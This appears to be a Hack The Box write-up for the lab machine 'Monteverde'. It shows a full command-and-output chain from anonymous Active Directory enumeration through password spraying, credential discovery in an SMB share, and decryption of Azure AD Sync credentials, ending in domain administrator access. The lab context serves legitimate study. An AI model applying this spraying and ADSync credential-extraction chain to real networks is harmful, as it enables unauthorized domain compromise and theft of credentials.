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  1. root@p3:/opt/htb/machines/monteverde# nmapAutomatorDirb.sh All PORT STATE SERVICE 53/tcp open domain 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name) 3269/tcp open globalcatLDAPssl 5985/tcp open wsman 9389/tcp open mc-nmf .NET Message Framing 49667/tcp open msrpc Microsoft Windows RPC 49669/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49670/tcp open msrpc Microsoft Windows RPC 49673/tcp open msrpc Microsoft Windows RPC 49702/tcp open msrpc Microsoft Windows RPC 49771/tcp open msrpc Microsoft Windows RPC

    PORT STATE SERVICE VERSION 53/udp open domain (generic dns response: SERVFAIL) 123/udp open ntp NTP v3 389/udp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)

    Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Domain: Megabank.local0

  2. Enum domain users with rpcclient. root@p3:/opt/htb/machines/monteverde# rpcclient -U “” rpcclient $> enumdomusers user:[Guest] rid:[0x1f5] user:[AAD_987d7f2f57d2] rid:[0x450] user:[mhope] rid:[0x641] user:[SABatchJobs] rid:[0xa2a] user:[svc-ata] rid:[0xa2b] user:[svc-bexec] rid:[0xa2c] user:[svc-netapp] rid:[0xa2d] user:[dgalanos] rid:[0xa35] user:[roleary] rid:[0xa36] user:[smorgan] rid:[0xa37]

    Enumerate each account (queryuser) and we find that mhope (Mike Hope) and AAD_987d7f2f57d2 is the only accounts with a login_count higher then 0. AAD_987d7f2f57d2 has an interesting description, giving us an installation identifier.

    rpcclient $> queryuser 0x450 User Name : AAD_987d7f2f57d2 Full Name : AAD_987d7f2f57d2 .. Description : Service account for the Synchronization Service with installation identifier 05c97990-7587-4a3d-b312-309adfc172d9 running on computer MONTEVERDE. .. user_rid : 0x450 group_rid: 0x201 .. logon_count: 0x00000009 ..

    We are unable to get any account hashes using Impacket GetNPUsers.py as the accounts doesn’t have UF_DONT_REQUIRE_PREAUTH.

  3. Enumerate SMB. We are unable to get any info using smbclient and anonymous login. Using msf we can enumerate the accounts with found users. As we don’t have any passwords yet we try to set ‘USER_AS_PASS’ as TRUE.

    msf5 auxiliary(scanner/smb/smb_login) > options Name Current Setting Required Description —- ————— ——– ———– RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax ‘file:' RPORT 445 yes The SMB service port (TCP) SMBDomain megabank.local no The Windows domain to use for authentication USER_AS_PASS true no Try the username as the password for all users USER_FILE users-monteverde.txt no File containing usernames, one per line

    msf5 auxiliary(scanner/smb/smb_login) > run

    [*] - - Starting SMB login bruteforce .. [-] - - Failed: ‘megabank.local\mhope:mhope’, [+] - - Success: ‘megabank.local\SABatchJobs:SABatchJobs’ [-] - - Failed: ‘megabank.local\svc-ata:svc-ata’, ..

    We find one matching credential for SMB - SABatchJobs:SABatchJobs

  4. Enumerate SMB further using smbclient and the found credentials. root@p3:/opt/htb/machines/monteverde# smbclient -L -U SABatchJobs Enter WORKGROUP\SABatchJobs’s password:

    Sharename Type Comment ——— —- ——- ADMIN$ Disk Remote Admin azure_uploads Disk C$ Disk Default share E$ Disk Default share IPC$ IPC Remote IPC NETLOGON Disk Logon server share SYSVOL Disk Logon server share users$ Disk

    The share ‘azure_uploads’ is empty, however looking in ‘users$’ we find an interesting .xml containing a password. root@p3:/opt/htb/machines/monteverde# smbclient \\\users$ -U SABatchJobs smb: > dir . D 0 Fri Jan 3 14:12:48 2020 .. D 0 Fri Jan 3 14:12:48 2020 dgalanos D 0 Fri Jan 3 14:12:30 2020 mhope D 0 Fri Jan 3 14:41:18 2020 roleary D 0 Fri Jan 3 14:10:30 2020 smorgan D 0 Fri Jan 3 14:10:24 2020 smb: > cd mhope smb: \mhope> dir . D 0 Fri Jan 3 14:41:18 2020 .. D 0 Fri Jan 3 14:41:18 2020 azure.xml AR 1212 Fri Jan 3 14:40:23 2020

    root@p3:/opt/htb/machines/monteverde# cat azure.xml .. 4n0therD4y@n0th3r$ ..

    NOTE: Credentials - mhope:4n0therD4y@n0th3r$

  5. Login with evil-winrm using found credentials for mhope, grab user.txt. root@p3:/opt/htb/machines/monteverde# evil-winrm -i monteverde.htb -u mhope -p 4n0therD4y@n0th3r$ Evil-WinRM PS C:\Users\mhope\Desktop> type user.txt 4961**********


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  1. Looking at the directory of mhope we find the dir .Azure hinting that this privesc should/have somnething to do with Azure. We find a TokenCache containing lots of information that might be valuable. Also something called ‘Microsoft Azure AD Sync’ in C:\Program Files.

    Enumerating the box further tells us that it’s running sqlserver locally (tcp 1433), this sounds like a promising point to start.

    Evil-WinRM PS C:\Users\Administrator\Documents> netstat -aon Active Connections Proto Local Address Foreign Address State PID .. TCP LISTENING 3512 .. TCP ESTABLISHED 3512 TCP ESTABLISHED 3512 TCP ESTABLISHED 3512 TCP ESTABLISHED 3512 TCP ESTABLISHED 3512

  2. Reading about Azure AD Sync it is the service responsible for syncing data between your local domain and the Azure based domain. The service needs privileged credentials from the local domain in order to sync, meaning this could potentially be exploited.

    Googling “Azure AD sync exploit” we find an article explaining how to Priv Esc using Azure AD Connect Database, and even has a compiled program to do it for you, see link below under ‘Information’.

  3. Download the program and upload the .exe and .dll to the vicitm host (C:\temp\AdDecrypt) In order for the program to work we need to ‘stand’ in the ADSync directory.

    Evil-WinRM PS C:\temp\AdDecrypt> dir

      Directory: C:\temp\AdDecrypt

    Mode LastWriteTime Length Name —- ————- —— —- -a—- 1/22/2020 12:29 AM 14848 AdDecrypt.exe -a—- 1/22/2020 12:29 AM 334248 mcrypt.dll

    Evil-WinRM PS C:\temp\AdDecrypt> cd C:"Program Files”"Microsoft Azure AD Sync”\Bin Evil-WinRM PS C:\Program Files\Microsoft Azure AD Sync\Bin> Evil-WinRM PS C:\Program Files\Microsoft Azure AD Sync\Bin> C:\temp\AdDecrypt\AdDecrypt.exe -FullSQL

    ====================== AZURE AD SYNC CREDENTIAL DECRYPTION TOOL Based on original code from: https://github.com/fox-it/adconnectdump ======================

    Opening database connection… Executing SQL commands… Closing database connection… Decrypting XML… Parsing XML… Finished!

    DECRYPTED CREDENTIALS: Username: administrator Password: d0m@in4dminyeah! Domain: MEGABANK.LOCAL

    NOTE: If the program doesn’t work, try to import the ADSync module and run it again. Import-Module ADSync Also, the .exe is polling SQL with “Server=LocalHost;Database=ADSync;Trusted_Connection=True;”. Luckily this is the exact structure of the database on Monteverde box, in other circumstances we would need to re-compile the .exe.

  4. Login with found admin credentials and grab root.txt

    root@p3:/opt/htb/machines/monteverde# evil-winrm -i monteverde.htb -u administrator -p d0m@in4dminyeah! Evil-WinRM PS C:\Users\Administrator\Documents> whoami megabank\administrator Evil-WinRM PS C:\Users\Administrator\Desktop> type root.txt 1290**********


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PrivEsc, ADSync Exploit https://vbscrub.video.blog/2020/01/14/azure-ad-connect-database-exploit-priv-esc/